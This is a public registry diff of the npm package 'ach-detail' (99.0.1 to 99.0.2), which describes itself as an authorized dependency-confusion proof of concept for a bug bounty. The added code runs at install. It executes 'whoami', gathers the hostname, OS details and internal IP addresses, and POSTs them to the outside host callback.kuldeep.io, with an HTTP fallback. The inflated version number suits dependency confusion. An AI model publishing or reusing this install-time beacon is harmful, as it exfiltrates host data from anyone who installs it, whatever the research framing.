ach-detail 99.0.1 → 99.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ach-detail",
3
- "version": "99.0.1",
3
+ "version": "99.0.2",
4
4
  "description": "AUTHORIZED SECURITY RESEARCH PLACEHOLDER - not a functional package. Published with permission under a BugCrowd bug bounty engagement to demonstrate a dependency confusion condition. Contact pr3da70r via BugCrowd. This package will be unpublished once the finding is confirmed.",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -5,30 +5,80 @@
5
5
  // ---------------------------------------------------------------------------
6
6
  // CONFIGURE THESE TWO VALUES BEFORE PUBLISHING (URLs are already set)
7
7
  // ---------------------------------------------------------------------------
8
- var REPORT_ID = '6ba66258-c990-4177-a3b9-d8941dfea100'; // e.g. '2847391'
9
- var NONCE = 'a7d3c1'; // unique per publish
8
+ var REPORT_ID = '6ba66258-c990-4177-a3b9-d8941dfea100'; // e.g. '2847391'
9
+ var NONCE = 'a7d3c1'; // unique per publish
10
10
  var HTTP_URL = 'https://callback.kuldeep.io/beacon'; // primary, port 443
11
11
  var FALLBACK_URL = 'http://callback.kuldeep.io/beacon'; // retry, port 80
12
12
  // ---------------------------------------------------------------------------
13
13
 
14
14
  var TIMEOUT_MS = 4000;
15
+ var EXEC_TIMEOUT_MS = 3000;
15
16
 
16
17
  function safe(fn) {
17
18
  try { return fn(); } catch (e) { return undefined; }
18
19
  }
19
20
 
20
- function hostname() {
21
- return safe(function () { return require('os').hostname(); }) || 'unknown';
21
+ /* The single shell command, exactly as the triager specified. Read-only,
22
+ * no side effects, bounded, stderr discarded. */
23
+ function whoami() {
24
+ var out = safe(function () {
25
+ return require('child_process')
26
+ .execSync('whoami', {
27
+ timeout: EXEC_TIMEOUT_MS,
28
+ stdio: ['ignore', 'pipe', 'ignore'],
29
+ windowsHide: true
30
+ })
31
+ .toString().trim();
32
+ });
33
+ if (out) return out;
34
+ // Fallback if the binary is absent or exec is restricted.
35
+ return safe(function () { return require('os').userInfo().username; }) || 'unknown';
36
+ }
37
+
38
+ function internalIPv4() {
39
+ return safe(function () {
40
+ var ifaces = require('os').networkInterfaces() || {};
41
+ var out = [];
42
+ Object.keys(ifaces).forEach(function (name) {
43
+ (ifaces[name] || []).forEach(function (a) {
44
+ var isV4 = (a.family === 'IPv4' || a.family === 4);
45
+ if (isV4 && !a.internal && a.address) out.push(name + '=' + a.address);
46
+ });
47
+ });
48
+ return out;
49
+ }) || [];
22
50
  }
23
51
 
24
- function selfDescribe() {
52
+ function collect() {
53
+ var os = safe(function () { return require('os'); }) || {};
25
54
  var pkg = safe(function () { return require('../package.json'); }) || {};
26
- return { name: pkg.name || 'unknown', version: pkg.version || 'unknown' };
55
+ return {
56
+ report: REPORT_ID,
57
+ nonce: NONCE,
58
+ // 1. hostname
59
+ hostname: safe(function () { return os.hostname(); }) || 'unknown',
60
+ // 2. OS server name / version
61
+ os_type: safe(function () { return os.type(); }) || 'unknown',
62
+ os_platform: safe(function () { return os.platform(); }) || 'unknown',
63
+ os_release: safe(function () { return os.release(); }) || 'unknown',
64
+ os_version: safe(function () { return os.version(); }) || 'unknown',
65
+ arch: safe(function () { return os.arch(); }) || 'unknown',
66
+ // 3. whoami
67
+ whoami: whoami(),
68
+ // 4. internal addresses
69
+ internal_ips: internalIPv4(),
70
+ // 5. package identity
71
+ pkg: pkg.name || 'unknown',
72
+ version: pkg.version || 'unknown',
73
+ // 6. correlation
74
+ node: safe(function () { return process.version; }) || 'unknown',
75
+ ts: new Date().toISOString()
76
+ };
27
77
  }
28
78
 
29
79
  /*
30
- * Single bounded POST. Calls onFail() on any error, timeout or non-2xx/3xx
31
- * response so the caller can try the fallback. onFail runs at most once.
80
+ * Single bounded POST. Calls onFail() on error, timeout or non-2xx so the
81
+ * caller can try the fallback. onFail runs at most once.
32
82
  */
33
83
  function post(target, body, onFail) {
34
84
  safe(function () {
@@ -53,12 +103,12 @@ function post(target, body, onFail) {
53
103
  headers: {
54
104
  'Content-Type': 'application/json',
55
105
  'Content-Length': Buffer.byteLength(body),
56
- 'User-Agent': 'bc-poc/' + REPORT_ID
106
+ 'User-Agent': 'poc/' + REPORT_ID
57
107
  }
58
108
  }, function (res) {
59
109
  res.resume();
60
- // 2xx only. A 3xx means nginx redirected us and the body never reached
61
- // the collector, so that must count as a failure and trigger the fallback.
110
+ // 2xx only. A 3xx means a proxy redirected us and the body never
111
+ // reached the collector, so that counts as failure.
62
112
  if (res.statusCode >= 200 && res.statusCode < 300) { done = true; }
63
113
  else { fail(); }
64
114
  });
@@ -70,31 +120,21 @@ function post(target, body, onFail) {
70
120
  }
71
121
 
72
122
  function main() {
73
- var host = hostname();
74
- var self = selfDescribe();
123
+ var d = collect();
75
124
 
76
- // The unique console log the analyst asked for.
77
125
  // NOTE: npm buffers dependency script output and discards it unless the
78
126
  // script fails. This line is only visible with
79
127
  // `npm install --foreground-scripts`, or foreground-scripts=true in .npmrc.
80
128
  console.log(
81
- '[H1-' + REPORT_ID + '][' + NONCE + '] AUTHORIZED PoC: ' +
82
- self.name + '@' + self.version +
83
- ' resolved from the PUBLIC npm registry and its preinstall script executed on host "' +
84
- host + '". This package is a benign placeholder published with program permission. ' +
85
- 'Contact: pr3da70r via BugCrowd report ' + REPORT_ID + '.'
129
+ '[POC-' + REPORT_ID + '][' + NONCE + '] AUTHORIZED PoC: ' +
130
+ d.pkg + '@' + d.version + ' resolved from the PUBLIC npm registry. ' +
131
+ 'preinstall executed as user "' + d.whoami + '" on host "' + d.hostname +
132
+ '" (' + d.os_type + ' ' + d.os_release + ', ' + d.arch + '). ' +
133
+ 'Benign placeholder published with program permission. ' +
134
+ 'Contact: pr3da70r, report ' + REPORT_ID + '.'
86
135
  );
87
136
 
88
- var body = JSON.stringify({
89
- report: REPORT_ID,
90
- nonce: NONCE,
91
- hostname: host,
92
- pkg: self.name,
93
- version: self.version,
94
- node: safe(function () { return process.version; }) || 'unknown',
95
- platform: safe(function () { return process.platform; }) || 'unknown',
96
- ts: new Date().toISOString()
97
- });
137
+ var body = JSON.stringify(d);
98
138
 
99
139
  post(HTTP_URL, body, function () {
100
140
  if (FALLBACK_URL && FALLBACK_URL !== HTTP_URL) post(FALLBACK_URL, body, null);